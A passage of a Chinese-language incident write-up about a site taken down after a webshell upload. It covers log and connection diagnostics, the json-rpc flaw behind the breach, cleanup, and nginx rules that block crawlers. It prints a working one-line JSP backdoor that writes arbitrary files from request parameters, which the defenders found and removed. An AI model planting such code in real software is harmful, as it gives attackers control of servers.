网站被植入webshel??l导致网站瘫痪,网络安全防范太重要了( 三 )


[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Baiduspider|wc -l 596650[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep googlebot|wc -l 540340[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep 360Spider|wc -l 63040[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep bingbot|wc -l 621670[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep YisouSpider|wc -l 3800100[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Sogou|wc -l 533810其中,Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必应蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛,其中,YisouSpider过来抓取的量最大,正常来说,蜘蛛抓取不应该这么频繁啊,于是简单搜索了一下YisouSpider这个蜘蛛,如下图所示:

网站被植入webshel??l导致网站瘫痪,网络安全防范太重要了

文章插图
 
看来是个流氓蜘蛛,网络上对这个YisouSpider的蜘蛛骂声一片 。
3、查看nginx错误日志
通过查看nginx错误日志,发现有大量连接返回超时请求(502错误),也就是说,nginx把请求交给tomcat后,tomcat迟迟不返回,导致返回超时,出现502 bad gateway错误 。这个很明显是tomcat无法响应请求导致的 。
那么就来看看tomcat服务器上的连接数情况:
[root@tomcatserver1 logs]# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 125300CLOSE_WAIT 12FIN_WAIT1 197FIN_WAIT2 113ESTABLISHED 13036SYN_RECV 115CLOSING 14LAST_ACK 17这里其实只需要关注三种状态即可:ESTABLISHED表示正在通信,TIME_WAIT表示主动关闭,正在等待远程套接字的关闭传送,CLOSE_WAIT表示远程被动关闭,正在等待关闭这个套接字 。
从输出可知,服务器上保持了大量TIME_WAIT状态和ESTABLISHED状态,大量的TIME_WAIT,应该是tomcat无法响应请求,然后超时,主动关闭了连接,导致出现TIME_WAIT,种种迹象表明,tomcat无法处理这么大的连接请求,导致响应缓慢,最终服务出现无响应 。
通过这三个方面的排查,基本验证了自己的思路,那么问题也随即找到了 。
三、解决问题
网站有漏洞,然后被注入webshell,继而被上传了大量广告、推广网页,导致搜索引擎疯狂抓取,最终导致脆弱的tomcat不堪重负,失去响应,这是此次故障发生的根本原因 。
1、修复网站程序漏洞
要解决这个问题,首选要做的是找到网站漏洞,研发介入后,通过代码排查,发现了网站漏洞的原因,是因为网站后台使用了一个轻量级的远程调用协议json-rpc来与服务器进行数据交换通讯,但是此接口缺乏校验机制,导致骇客获取了后台登录的账号和密码,然后在后台上传了一个webshell,进而控制了操作系统 。
研发在第一时间修复了这个漏洞,然后就是运维的干活时间了 。
我们首先在服务器上进行了网页扫描,主要扫描html为后缀的文件,然后全部删除(因为我们的网页都是以.htm结尾),同时删除了那个1.jsp文件,并继续查找和检查其它可疑的jsp文件,检查过程中又发现了一个jsp后门,基本特征码如下:(代码仅供学习)
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>然后果断删除 。不留后患 。
2、禁封网络蜘蛛
网络上的蜘蛛、爬虫很多,有些是正规的,有些是流氓,适当的网络蜘蛛抓取对网站权重、流量有益,而那些流氓的蜘蛛必须要禁止,要实现禁封网络蜘蛛,在nginx下可通过如下配置实现:
server { listen 80; server_name 127.0.0.1; #添加如下内容即可防止爬虫if ($http_user_agent ~* "qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot") { return 403; } 这样,当蜘蛛过来爬取你网站的时候,直接给他返回一个403错误,这里禁止了很多网络蜘蛛,如果你还需要蜘蛛的话,可保留几个比较正规的,例如谷歌蜘蛛和百度蜘蛛即可,其实一律封掉 。
上面这个办法有点简单粗暴,但是最有效,其实还可以在网站更目录下增加Robots.txt文件,在这个文件中我们可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容 。
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件 。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看和抓取的,当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索蜘蛛就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面 。


推荐阅读